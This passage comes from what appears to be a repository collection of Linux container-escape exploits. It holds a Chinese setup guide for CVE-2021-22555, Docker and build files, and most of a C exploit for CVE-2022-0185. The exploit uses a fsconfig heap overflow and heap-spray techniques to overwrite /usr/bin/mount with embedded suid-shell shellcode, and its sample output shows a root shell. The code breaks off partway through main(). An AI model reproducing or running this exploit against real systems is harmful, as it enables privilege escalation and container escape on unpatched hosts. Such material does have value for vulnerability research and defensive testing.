(msgctl(msqid[i], IPC_RMID, NULL) < 0) 757 | perror("[-] msgctl"); 758 | } 759 | 760 | err_no_rmid: 761 | return 1; 762 | } -------------------------------------------------------------------------------- /CVEs/CVE-2021-22555/writeup.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-22555 2 | 3 | ## Env 4 | - Ubuntu 20.04 5 | 6 | ## Prep 7 | 安装环境和内核 8 | 9 | ```shell 10 | ./metarget cnv install cve-2021-22555 11 | ``` 12 | 13 | 这时候需要reboot 14 | 15 | 安装编译需要的依赖: 16 | ```shell 17 | sudo apt install gcc-multilib 18 | ``` 19 | 编译exp 20 | ```shell 21 | gcc -m32 -static -o exploit exploit.c 22 | ``` 23 | 24 | 建立容器并运行 25 | 26 | ```shell 27 | sudo docker run -itd --name=22555 ubuntu /bin/bash 28 | ``` 29 | 30 | 将二进制文件复制进容器 31 | ```shell 32 | sudo docker cp exploit 22555:/ 33 | ``` 34 | 35 | 进入容器,在容器内运行exp: 36 | -------------------------------------------------------------------------------- /CVEs/CVE-2022-0185/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | ADD exploit / 3 | RUN useradd -u 1001 normaluser 4 | USER 1001 5 | CMD /bin/bash 6 | -------------------------------------------------------------------------------- /CVEs/CVE-2022-0185/Makefile: -------------------------------------------------------------------------------- 1 | all: exploit.c 2 | gcc exploit.c -o exploit -static -no-pie -s -------------------------------------------------------------------------------- /CVEs/CVE-2022-0185/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-0185 2 | ## Description 3 | https://github.com/chenaotian/CVE-2022-0185 4 | https://github.com/veritas501/CVE-2022-0185-PipeVersion 5 | 6 | ## Writeup 7 | 8 | https://potassium.site/2024/04/343c2d2fd083.html 9 | 10 | ## Image 11 | 12 | https://hub.docker.com/repository/docker/iridium191/cve-2022-0185/general -------------------------------------------------------------------------------- /CVEs/CVE-2022-0185/exploit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LouisLiuNova/container-escape-exploits/858c163c22850d248312ffba3ead5a12949f5145/CVEs/CVE-2022-0185/exploit -------------------------------------------------------------------------------- /CVEs/CVE-2022-0185/exploit.c: -------------------------------------------------------------------------------- 1 | /** 2 | * CVE-2022-0185 exploit 3 | * 4 | * This exploit use pipe-primitive so no kaslr leak nor smap 5 | * smep ktpi bypass is needed. 6 | * 7 | * Compile with: 8 | * gcc exploit.c -o exploit -static -no-pie -s 9 | * 10 | * This exploit will overwrite /usr/bin/mount with suid-shell and 11 | * execute it. BACKUP IT MANUALLY before running exploit, and 12 | * RESTORE it quickly after exploit success. 13 | * 14 | * / $ /exp 15 | * [+] perform initialization 16 | * [+] perform exploit step1 17 | * [*] prepare fsconfig heap overflow 18 | * [*] sparying msg_msg ... 19 | * [*] trigger oob write in `legacy_parse_param` to corrupt msg_msg.m_ts 20 | * [*] search corrupted msg_msg ... 21 | * [*] corrupted msg_msg found, id: 6 22 | * [*] clean unused msg_msg ... 23 | * [*] alloc `struct msg_msg` to re-acquire the 0x400 slab freed by msg_msgseg ... 24 | * [*] it works :) 25 | * 00 1C F3 82 99 91 FF FF 00 F8 4B 83 99 91 FF FF | ..........K..... 26 | * 42 0E 00 00 00 00 00 00 D0 03 00 00 00 00 00 00 | B............... 27 | * 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 28 | * 37 13 37 13 04 00 00 00 57 57 57 57 57 57 57 57 | 7.7.....WWWWWWWW 29 | * [+] leak list2_leak_msqid: 1028 30 | * [+] leak list2_leak_mtype: 0xe42 31 | * [+] leak list2_uaf_msg_addr: 0xffff9199834bf800 32 | * [+] leak list2_uaf_mtype: 0xd42 33 | * [*] alloc msg_msg as heap buffer with known address 34 | * [*] fetch heap_buffer address by oob read again 35 | * [+] heap_buffer_addr: 0xffff91998401e830 36 | * [*] clean unused msg_msg ... 37 | * [+] perform exploit step2 38 | * [*] prepare fsconfig heap overflow 39 | * [*] sparying msg_msg ... 40 | * [*] trigger oob write in `legacy_parse_param` to corrupt msg_msg.next 41 | * [*] free uaf msg_msg from correct msqid 42 | * [*] spray skbuff_data to re-acquire the 0x400 slab freed by msg_msg 43 | * [*] free skbuff_data using fake msqid 44 | * [*] freed using msqid 6 45 | * [*] spray pipe_buffer to re-acquire the 0x400 slab freed by skbuff_data 46 | * [*] free skbuff_data to make pipe_buffer become UAF 47 | * [*] uaf_pipe_idx: 5 48 | * [*] edit pipe_buffer->flags 49 | * [*] try to overwrite /usr/bin/mount 50 | * [*] see if /usr/bin/mount changed 51 | * [+] exploit success 52 | * / # id 53 | * uid=0(root) gid=0(root) groups=1000(ctf) 54 | * 55 | */ 56 | 57 | #define _GNU_SOURCE 58 | #include 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | #include 66 | #include 67 | #include 68 | #include 69 | #include 70 | #include 71 | #include 72 | 73 | #ifndef __NR_fsconfig 74 | #define __NR_fsconfig 431 75 | #endif 76 | #ifndef __NR_fsopen 77 | #define __NR_fsopen 430 78 | #endif 79 | #define FSCONFIG_SET_STRING 1 80 | #define fsopen(name, flags) syscall(__NR_fsopen, name, flags) 81 | #define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux) 82 | #ifndef PAGE_SIZE 83 | #define PAGE_SIZE 4096 84 | #endif 85 | 86 | #define NUM_MSQIDS_1 (0x400) 87 | #define NUM_MSQIDS_2 (0x400) 88 | #define MSG_TEXT_SIZE(x) ( \ 89 | (x) - sizeof(struct msg_msg) - \ 90 | sizeof(struct msg_msgseg) * (((x + PAGE_SIZE - 1) / PAGE_SIZE) - 1)) 91 | #define MSG_A_RAW_SIZE (0x1400) 92 | #define MSG_B_RAW_SIZE (0x400) 93 | #define MSG_A_TEXT_SIZE MSG_TEXT_SIZE(MSG_A_RAW_SIZE) 94 | #define MSG_B_TEXT_SIZE MSG_TEXT_SIZE(MSG_B_RAW_SIZE) 95 | #define MTYPE_A (0x41) 96 | #define MTYPE_B (0x42) 97 | #define MTYPE_FAKE (0x43) 98 | #define MSG_SIG (0x13371337) 99 | #define NUM_PIPES (0x100) 100 | #define NUM_SOCKETS (4) 101 | #define NUM_SKBUFFS (0x80) 102 | 103 | #define logd(fmt, ...) dprintf(2, "[*] " fmt "\n", ##__VA_ARGS__) 104 | #define logi(fmt, ...) dprintf(2, "[+] " fmt "\n", ##__VA_ARGS__) 105 | #define loge(fmt, ...) dprintf(2, "[-] " fmt "\n", ##__VA_ARGS__) 106 | #define die(fmt, ...) \ 107 | do { \ 108 | loge(fmt, ##__VA_ARGS__); \ 109 | loge("Exit at line %d", __LINE__); \ 110 | write(sync_pipe[1], "F", 1); \ 111 | exit(1); \ 112 | } while (0) 113 | 114 | #define ATTACK_FILE "/usr/bin/mount" 115 | const char attack_data[] = { 116 | 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 117 | 0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00, 118 | 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 119 | 0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 120 | 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 121 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 122 | 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 123 | 0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 124 | 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 125 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 126 | 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 127 | 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 128 | 0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 129 | 0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 130 | 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 131 | 0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00, 132 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 133 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 134 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 135 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 136 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 137 | 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 138 | 0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75, 139 | 0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31, 140 | 0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68, 141 | 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 142 | 0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72, 143 | 0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 144 | 0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e, 145 | 0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31, 146 | 0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05}; 147 | 148 | struct list_head { 149 | uint64_t next; 150 | uint64_t prev; 151 | }; 152 | 153 | struct msg_msg { 154 | struct list_head m_list; 155 | uint64_t m_type; 156 | uint64_t m_ts; 157 | uint64_t next; 158 | uint64_t security; 159 | char mtext[0]; 160 | }; 161 | 162 | struct msg_msgseg { 163 | uint64_t next; 164 | }; 165 | 166 | struct typ_msg { 167 | long mtype; 168 | char mtext[0]; 169 | }; 170 | 171 | int sync_pipe[2]; 172 | int sockfd; 173 | int sock_pairs[NUM_SOCKETS][2]; 174 | int msqid_1[NUM_MSQIDS_1]; 175 | int msqid_2[NUM_MSQIDS_2]; 176 | uint8_t msg_buffer[0x2000]; 177 | struct typ_msg *msg_a = (struct typ_msg *)msg_buffer; 178 | struct typ_msg *msg_a_oob = (struct typ_msg *)msg_buffer; 179 | struct typ_msg *msg_b = (struct typ_msg *)msg_buffer; 180 | int list1_corrupted_msqid = -1; 181 | int list2_leak_msqid = -1; 182 | int list2_leak_mtype = 0; 183 | uint64_t list2_uaf_msg_addr = 0; 184 | int list2_uaf_mtype = 0; 185 | uint64_t heap_buffer_addr = 0; 186 | int pipes[NUM_PIPES][2]; 187 | 188 | void hexdump(const void *data, size_t size) { 189 | char ascii[17]; 190 | size_t i, j; 191 | ascii[16] = '\0'; 192 | for (i = 0; i < size; ++i) { 193 | dprintf(2, "%02X ", ((unsigned char *)data)[i]); 194 | if (((unsigned char *)data)[i] >= ' ' && ((unsigned char *)data)[i] <= '~') { 195 | ascii[i % 16] = ((unsigned char *)data)[i]; 196 | } else { 197 | ascii[i % 16] = '.'; 198 | } 199 | if ((i + 1) % 8 == 0 || i + 1 == size) { 200 | dprintf(2, " "); 201 | if ((i + 1) % 16 == 0) { 202 | dprintf(2, "| %s \n", ascii); 203 | } else if (i + 1 == size) { 204 | ascii[(i + 1) % 16] = '\0'; 205 | if ((i + 1) % 16 <= 8) { 206 | dprintf(2, " "); 207 | } 208 | for (j = (i + 1) % 16; j < 16; ++j) { 209 | dprintf(2, " "); 210 | } 211 | dprintf(2, "| %s \n", ascii); 212 | } 213 | } 214 | } 215 | } 216 | 217 | void init_unshare() { 218 | int fd; 219 | char buff[0x100]; 220 | 221 | // strace from `unshare -Ur xxx` 222 | unshare(CLONE_NEWNS | CLONE_NEWUSER); 223 | 224 | fd = open("/proc/self/setgroups", O_WRONLY); 225 | snprintf(buff, sizeof(buff), "deny"); 226 | write(fd, buff, strlen(buff)); 227 | close(fd); 228 | 229 | fd = open("/proc/self/uid_map", O_WRONLY); 230 | snprintf(buff, sizeof(buff), "0 %d 1", getuid()); 231 | write(fd, buff, strlen(buff)); 232 | close(fd); 233 | 234 | fd = open("/proc/self/gid_map", O_WRONLY); 235 | snprintf(buff, sizeof(buff), "0 %d 1", getgid()); 236 | write(fd, buff, strlen(buff)); 237 | close(fd); 238 | } 239 | 240 | void init_msq() { 241 | for (int i = 0; i < NUM_MSQIDS_1; i++) { 242 | msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); 243 | if (msqid_1[i] < 0) { 244 | die("msgget() fail"); 245 | } 246 | } 247 | for (int i = 0; i < NUM_MSQIDS_2; i++) { 248 | msqid_2[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); 249 | if (msqid_2[i] < 0) { 250 | die("msgget() fail"); 251 | } 252 | } 253 | } 254 | 255 | void init_sock() { 256 | sockfd = socket(AF_INET, SOCK_STREAM, 0); 257 | if (sockfd < 0) { 258 | die("socket() fail"); 259 | } 260 | 261 | for (int i = 0; i < NUM_SOCKETS; i++) { 262 | if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_pairs[i]) < 0) { 263 | die("socketpair() fail"); 264 | } 265 | } 266 | } 267 | 268 | void clean_msq_1() { 269 | for (int i = 0; i < NUM_MSQIDS_1; i++) { 270 | msgrcv(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, MTYPE_A, IPC_NOWAIT); 271 | } 272 | } 273 | 274 | void clean_msq_2() { 275 | for (int i = 0; i < NUM_MSQIDS_2; i++) { 276 | for (int j = 0; j < 0x10; j++) { 277 | msgrcv(msqid_2[i], msg_b, MSG_B_TEXT_SIZE, MTYPE_B | (j << 8), IPC_NOWAIT); 278 | } 279 | } 280 | } 281 | 282 | void clean_pipe() { 283 | for (int i = 0; i < NUM_PIPES; i++) { 284 | char buffer[0x100]; 285 | read(pipes[i][0], buffer, 0x100); 286 | close(pipes[i][0]); 287 | close(pipes[i][1]); 288 | } 289 | } 290 | 291 | void bind_cpu() { 292 | cpu_set_t my_set; 293 | CPU_ZERO(&my_set); 294 | CPU_SET(0, &my_set); 295 | if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set)) { 296 | die("sched_setaffinity()"); 297 | } 298 | } 299 | 300 | int call_fsopen() { 301 | int fd = fsopen("ext4", 0); 302 | if (fd < 0) { 303 | die("fsopen()"); 304 | } 305 | return fd; 306 | } 307 | 308 | void spray_skbuff_data(void *ptr, size_t size) { 309 | for (int i = 0; i < NUM_SOCKETS; i++) { 310 | for (int j = 0; j < NUM_SKBUFFS; j++) { 311 | if (write(sock_pairs[i][0], ptr, size) < 0) { 312 | die("write to sock pairs failed"); 313 | } 314 | } 315 | } 316 | } 317 | 318 | void free_skbuff_data(void *ptr, size_t size) { 319 | for (int i = 0; i < NUM_SOCKETS; i++) { 320 | for (int j = 0; j < NUM_SKBUFFS; j++) { 321 | if (read(sock_pairs[i][1], ptr, size) < 0) { 322 | die("read from sock pairs failed"); 323 | } 324 | } 325 | } 326 | } 327 | 328 | uint64_t exploit_step1(int fd) { 329 | char buff[0x1000]; 330 | 331 | /** 332 | * padding ctx->legacy_data to 333 | * ------ 334 | * 0x0FE0: BBBB BBBB - BBBB BBBB 335 | * 0x0FF0: BBBB BBBB - BBBB BBB? 336 | * 0x1000: ???? ???? - ???? ???? 337 | * 338 | * so next write will overwrite next page, 339 | * ------ 340 | * 0x0FF0: BBBB BBBB - BBBB BBB, 341 | * 0x1000: =XXX XXXX - XXXX XXXX 342 | */ 343 | logd("prepare fsconfig heap overflow"); 344 | memset(buff, 0, sizeof(buff)); 345 | memset(buff, 'A', 0x100 - 2); 346 | for (int i = 0; i < 0xf; i++) { 347 | fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0); 348 | } 349 | memset(buff, 0, sizeof(buff)); 350 | memset(buff, 'B', 0x100 - 3); 351 | fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0); 352 | 353 | // alloc msg_msg with 0x1000(-0x30) body and 0x400(-0x08) msg_msgseg 354 | logd("sparying msg_msg ..."); 355 | for (int i = 0; i < NUM_MSQIDS_1; i++) { 356 | msg_a->mtype = MTYPE_A; 357 | memset(msg_a->mtext, 'Q', MSG_A_TEXT_SIZE); 358 | ((int *)msg_a->mtext)[0] = MSG_SIG; 359 | ((int *)msg_a->mtext)[1] = i; 360 | if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0) { 361 | die("msgsnd() fail"); 362 | } 363 | } 364 | 365 | // trigger oob write to overwrite msg_msg.m_ts (hopes) 366 | logd("trigger oob write in `legacy_parse_param` to corrupt msg_msg.m_ts"); 367 | memset(buff, 0, sizeof(buff)); 368 | strcat(buff, "0000000"); // m_list.next 369 | strcat(buff, "11111111"); // m_list.prev 370 | strcat(buff, "22222222"); // m_type 371 | uint64_t target_size = MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400); 372 | memcpy(buff + strlen(buff), &target_size, 2); 373 | fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0); 374 | 375 | // recv from buffer to see if leak success 376 | logd("search corrupted msg_msg ..."); 377 | for (int i = 0; i < NUM_MSQIDS_1; i++) { 378 | ssize_t copy_size = msgrcv(msqid_1[i], msg_a_oob, MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400), 0, MSG_COPY | IPC_NOWAIT); 379 | if (copy_size < 0) { 380 | continue; 381 | } 382 | if (copy_size == MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400)) { 383 | logd("corrupted msg_msg found, id: %d", msqid_1[i]); 384 | list1_corrupted_msqid = msqid_1[i]; 385 | msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); 386 | uint64_t *oob_data = (uint64_t *)(msg_a_oob->mtext + MSG_A_TEXT_SIZE); 387 | size_t oob_size = MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400) - MSG_A_TEXT_SIZE; 388 | if (memcmp(&oob_data[1], "QQQQQQQQ", 8)) { // 'QQQQQQQQ' 389 | logd("but the next object is not allocated by msg_msgseg"); 390 | } 391 | break; 392 | } 393 | } 394 | if (list1_corrupted_msqid < 0) { 395 | loge("can't found corrupted msg_msg, and kernel may crash :("); 396 | clean_msq_1(); 397 | return 1; 398 | } 399 | 400 | // clean uncorrupted msg_msg 401 | logd("clean unused msg_msg ..."); 402 | clean_msq_1(); 403 | 404 | // realloc 0x400 slab with msg_msg 405 | logd("alloc `struct msg_msg` to re-acquire the 0x400 slab freed by msg_msgseg ..."); 406 | for (int i = 0; i < NUM_MSQIDS_2; i++) { 407 | memset(msg_b->mtext, 'W', MSG_B_TEXT_SIZE); 408 | ((int *)msg_b->mtext)[0] = MSG_SIG; 409 | ((int *)msg_b->mtext)[1] = i; 410 | for (int j = 0; j < 0x10; j++) { 411 | msg_b->mtype = MTYPE_B | (j << 8); 412 | if (msgsnd(msqid_2[i], msg_b, MSG_B_TEXT_SIZE, 0) < 0) { 413 | die("msgsnd() fail"); 414 | } 415 | } 416 | } 417 | 418 | // hope leak happen 419 | { 420 | ssize_t copy_size = msgrcv(list1_corrupted_msqid, msg_a_oob, MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400), 0, MSG_COPY | IPC_NOWAIT); 421 | if ((copy_size < 0) || (copy_size != MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400))) { 422 | die("recv from corrupted msg_msg failed"); 423 | } 424 | uint64_t *oob_data = (uint64_t *)(msg_a_oob->mtext + MSG_A_TEXT_SIZE); 425 | size_t oob_size = MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400) - MSG_A_TEXT_SIZE; 426 | struct msg_msg *p = (struct msg_msg *)oob_data; 427 | if (((int *)&p->mtext)[0] != MSG_SIG) { 428 | loge("bad luck, we don't catch 0x400 msg_msg"); 429 | clean_msq_2(); 430 | return 1; 431 | } 432 | logd("it works :)"); 433 | 434 | list2_leak_msqid = msqid_2[((int *)&p->mtext)[1]]; 435 | list2_leak_mtype = p->m_type; 436 | list2_uaf_msg_addr = p->m_list.prev; 437 | list2_uaf_mtype = p->m_type - 0x0100; 438 | msqid_2[((int *)&p->mtext)[1]] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); 439 | hexdump(msg_a_oob->mtext + MSG_A_TEXT_SIZE, 0x40); 440 | logi("leak list2_leak_msqid: %d", list2_leak_msqid); 441 | logi("leak list2_leak_mtype: 0x%x", list2_leak_mtype); 442 | logi("leak list2_uaf_msg_addr: 0x%lx", list2_uaf_msg_addr); 443 | logi("leak list2_uaf_mtype: 0x%x", list2_uaf_mtype); 444 | } 445 | 446 | logd("alloc msg_msg as heap buffer with known address"); 447 | { 448 | for (int j = ((list2_leak_mtype + 0x100) >> 8); j < 0x10; j++) { 449 | msgrcv(list2_leak_msqid, msg_b, MSG_B_TEXT_SIZE, MTYPE_B | (j << 8), IPC_NOWAIT); 450 | } 451 | memset(buff, 0, sizeof(buff)); 452 | struct msg_msg *p = (struct msg_msg *)buff; 453 | p->m_list.next = list2_uaf_msg_addr; 454 | p->m_list.prev = 0xdeadbeefdeadbeef; 455 | p->m_type = MTYPE_A; 456 | 457 | uint64_t *p2; 458 | 459 | // unlink next / prev 460 | p2 = (uint64_t *)(buff + 0x80); 461 | *p2++ = heap_buffer_addr; // +0x80 462 | *p2++ = heap_buffer_addr; // +0x88 463 | 464 | memcpy(msg_b->mtext, buff, MSG_B_TEXT_SIZE); 465 | msg_b->mtype = MTYPE_B; 466 | if (msgsnd(list2_leak_msqid, msg_b, MSG_B_TEXT_SIZE, 0) < 0) { 467 | die("msgsnd() fail"); 468 | } 469 | } 470 | 471 | logd("fetch heap_buffer address by oob read again"); 472 | { 473 | ssize_t copy_size = msgrcv(list1_corrupted_msqid, msg_a_oob, MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400), 0, MSG_COPY | IPC_NOWAIT); 474 | if ((copy_size < 0) || (copy_size != MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400))) { 475 | die("Recv from corrupted msg_msg failed"); 476 | } 477 | uint64_t *oob_data = (uint64_t *)(msg_a_oob->mtext + MSG_A_TEXT_SIZE); 478 | size_t oob_size = MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400) - MSG_A_TEXT_SIZE; 479 | struct msg_msg *p = (struct msg_msg *)oob_data; 480 | if (((int *)&p->mtext)[0] != MSG_SIG) { 481 | die("I don't think this can happen"); 482 | } 483 | heap_buffer_addr = p->m_list.next + sizeof(struct msg_msg); 484 | logi("heap_buffer_addr: 0x%lx", heap_buffer_addr); 485 | if (strlen((char *)&heap_buffer_addr) < 8) { 486 | die("pointer can't contain 0x00 bytes"); 487 | } 488 | } 489 | 490 | // clean uncorrupted msg_msg 491 | logd("clean unused msg_msg ..."); 492 | clean_msq_2(); 493 | 494 | return 0; 495 | } 496 | 497 | int exploit_step2(int fd) { 498 | char buff[0x1000]; 499 | 500 | logd("prepare fsconfig heap overflow"); 501 | memset(buff, 0, sizeof(buff)); 502 | memset(buff, 'A', 0x100 - 2); 503 | for (int i = 0; i < 0xf; i++) { 504 | fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0); 505 | } 506 | memset(buff, 0, sizeof(buff)); 507 | memset(buff, 'B', 0x100 - 3); 508 | fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0); 509 | 510 | // alloc msg_msg with 0x1000(-0x30) body and 0x400(-0x08) msg_msgseg 511 | logd("sparying msg_msg ..."); 512 | for (int i = 0; i < NUM_MSQIDS_1; i++) { 513 | msg_a->mtype = MTYPE_A; 514 | memset(msg_a->mtext, 'Q', MSG_A_TEXT_SIZE); 515 | ((int *)msg_a->mtext)[0] = MSG_SIG; 516 | ((int *)msg_a->mtext)[1] = i; 517 | if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0) { 518 | die("msgsnd() fail"); 519 | } 520 | } 521 | 522 | // trigger oob write to overwrite msg_msg.next (hopes) 523 | logd("trigger oob write in `legacy_parse_param` to corrupt msg_msg.next"); 524 | memset(buff, 0, sizeof(buff)); 525 | struct msg_msg *p = (struct msg_msg *)buff; 526 | p->m_list.next = heap_buffer_addr; 527 | p->m_list.prev = 0xdeadbeefdeadbeef; 528 | p->m_type = MTYPE_A; // with '=' appended 529 | fsconfig(fd, FSCONFIG_SET_STRING, buff, "\x00", 0); 530 | 531 | // free uaf msg_msg 532 | logd("free uaf msg_msg from correct msqid"); 533 | if (msgrcv(list2_leak_msqid, msg_b, MSG_B_TEXT_SIZE, list2_uaf_mtype, 0) < 0) { 534 | die("msgrcv() fail"); 535 | } 536 | 537 | // spary skbuff_data to re-acquire uaf msg_msg and fake the header 538 | logd("spray skbuff_data to re-acquire the 0x400 slab freed by msg_msg"); 539 | { 540 | memset(buff, 0, sizeof(buff)); 541 | struct msg_msg *p = (struct msg_msg *)buff; 542 | p->m_list.next = heap_buffer_addr + 0x80; 543 | p->m_list.prev = heap_buffer_addr + 0x80; 544 | p->m_ts = 0x100; 545 | p->m_type = MTYPE_FAKE; 546 | p->next = 0; 547 | p->security = 0; 548 | spray_skbuff_data(buff, 0x400 - 0x140); 549 | } 550 | 551 | // free uaf msg_msg 552 | logd("free skbuff_data using fake msqid"); 553 | for (int i = 0; i < NUM_MSQIDS_1; i++) { 554 | if (msgrcv(msqid_1[i], msg_b, MSG_B_TEXT_SIZE, MTYPE_FAKE, IPC_NOWAIT) > 0) { 555 | logd("freed using msqid %d", i); 556 | break; 557 | } 558 | } 559 | 560 | // filled with pipe_buffer 561 | logd("spray pipe_buffer to re-acquire the 0x400 slab freed by skbuff_data"); 562 | int attack_fd = open(ATTACK_FILE, O_RDONLY); 563 | if (attack_fd < 0) { 564 | die("open %s", ATTACK_FILE); 565 | } 566 | for (int i = 0; i < NUM_PIPES; i++) { 567 | if (pipe(pipes[i])) { 568 | die("Alloc pipe failed"); 569 | } 570 | 571 | const unsigned pipe_size = fcntl(pipes[i][1], F_GETPIPE_SZ); 572 | static char tmp_buff[4096]; 573 | 574 | /* fill the pipe completely; each pipe_buffer will now have 575 | the PIPE_BUF_FLAG_CAN_MERGE flag */ 576 | for (unsigned r = pipe_size; r > 0;) { 577 | unsigned n = r > sizeof(tmp_buff) ? sizeof(tmp_buff) : r; 578 | write(pipes[i][1], tmp_buff, n); 579 | r -= n; 580 | } 581 | 582 | /* drain the pipe, freeing all pipe_buffer instances (but 583 | leaving the flags initialized) */ 584 | for (unsigned r = pipe_size; r > 0;) { 585 | unsigned n = r > sizeof(tmp_buff) ? sizeof(tmp_buff) : r; 586 | read(pipes[i][0], tmp_buff, n); 587 | r -= n; 588 | } 589 | 590 | write(pipes[i][1], buff, 0x100 + i); 591 | 592 | loff_t offset = 1; 593 | ssize_t nbytes = splice(attack_fd, &offset, pipes[i][1], NULL, 1, 0); 594 | if (nbytes < 0) { 595 | die("splice() failed"); 596 | } 597 | } 598 | 599 | logd("free skbuff_data to make pipe_buffer become UAF"); 600 | int uaf_pipe_idx = 0; 601 | char pipe_buffer_backup[0x280]; 602 | int PIPE_BUF_FLAG_CAN_MERGE = 0x10; 603 | { 604 | void *ptr = buff; 605 | uint64_t size = 0x400 - 0x140; 606 | for (int i = 0; i < NUM_SOCKETS; i++) { 607 | for (int j = 0; j < NUM_SKBUFFS; j++) { 608 | if (read(sock_pairs[i][1], ptr, size) < 0) { 609 | die("read from sock pairs failed"); 610 | } 611 | uint32_t test_size = ((uint32_t *)ptr)[3]; 612 | if ((test_size >= 0x100) && (test_size < 0x100 + NUM_PIPES)) { 613 | uaf_pipe_idx = test_size - 0x100; 614 | logd("uaf_pipe_idx: %d", uaf_pipe_idx); 615 | memcpy(pipe_buffer_backup, ptr, 0x280); 616 | } 617 | } 618 | } 619 | } 620 | 621 | logd("edit pipe_buffer->flags"); 622 | { 623 | memset(buff, 0, sizeof(buff)); 624 | memcpy(buff, pipe_buffer_backup, 0x280); 625 | ((uint64_t *)buff)[6] = 0; // offset | len 626 | ((uint64_t *)buff)[8] = PIPE_BUF_FLAG_CAN_MERGE; // flag 627 | spray_skbuff_data(buff, 0x400 - 0x140); 628 | } 629 | 630 | logd("try to overwrite %s", ATTACK_FILE); 631 | { 632 | ssize_t nbytes = write(pipes[uaf_pipe_idx][1], attack_data, sizeof(attack_data)); 633 | if (nbytes < 0) { 634 | die("write failed"); 635 | } 636 | if ((size_t)nbytes < sizeof(attack_data)) { 637 | die("short write"); 638 | } 639 | } 640 | 641 | logd("see if %s changed", ATTACK_FILE); 642 | { 643 | int fd = open(ATTACK_FILE, O_RDONLY); 644 | if (fd < 0) { 645 | die("open attack file"); 646 | } 647 | char tmp_buffer[0x10]; 648 | read(fd, tmp_buffer, 0x10); 649 | uint32_t *ptr = (uint32_t *)(tmp_buffer + 9); 650 | if (ptr[0] != 0x56565656) { 651 | die("overwrite attack file failed: 0x%08x", ptr[0]); 652 | } 653 | } 654 | 655 | logi("exploit success"); 656 | 657 | // clean 658 | close(pipes[uaf_pipe_idx][0]); 659 | close(pipes[uaf_pipe_idx][1]); 660 | for (int i = 0; i < NUM_MSQIDS_2; i++) { 661 | memset(msg_b->mtext, 0, MSG_B_TEXT_SIZE); 662 | msg_b->mtype = MTYPE_B; 663 | if (msgsnd(msqid_2[i], msg_b, MSG_B_TEXT_SIZE, 0) < 0) { 664 | die("msgsnd() fail"); 665 | } 666 | } 667 | 668 | return 0; 669 | } 670 | 671 | int main(void) { 672 | pipe(sync_pipe); 673 | 674 | if (!fork()) { 675 | logi("perform initialization"); 676 | init_unshare(); 677 | bind_cpu(); 678 | 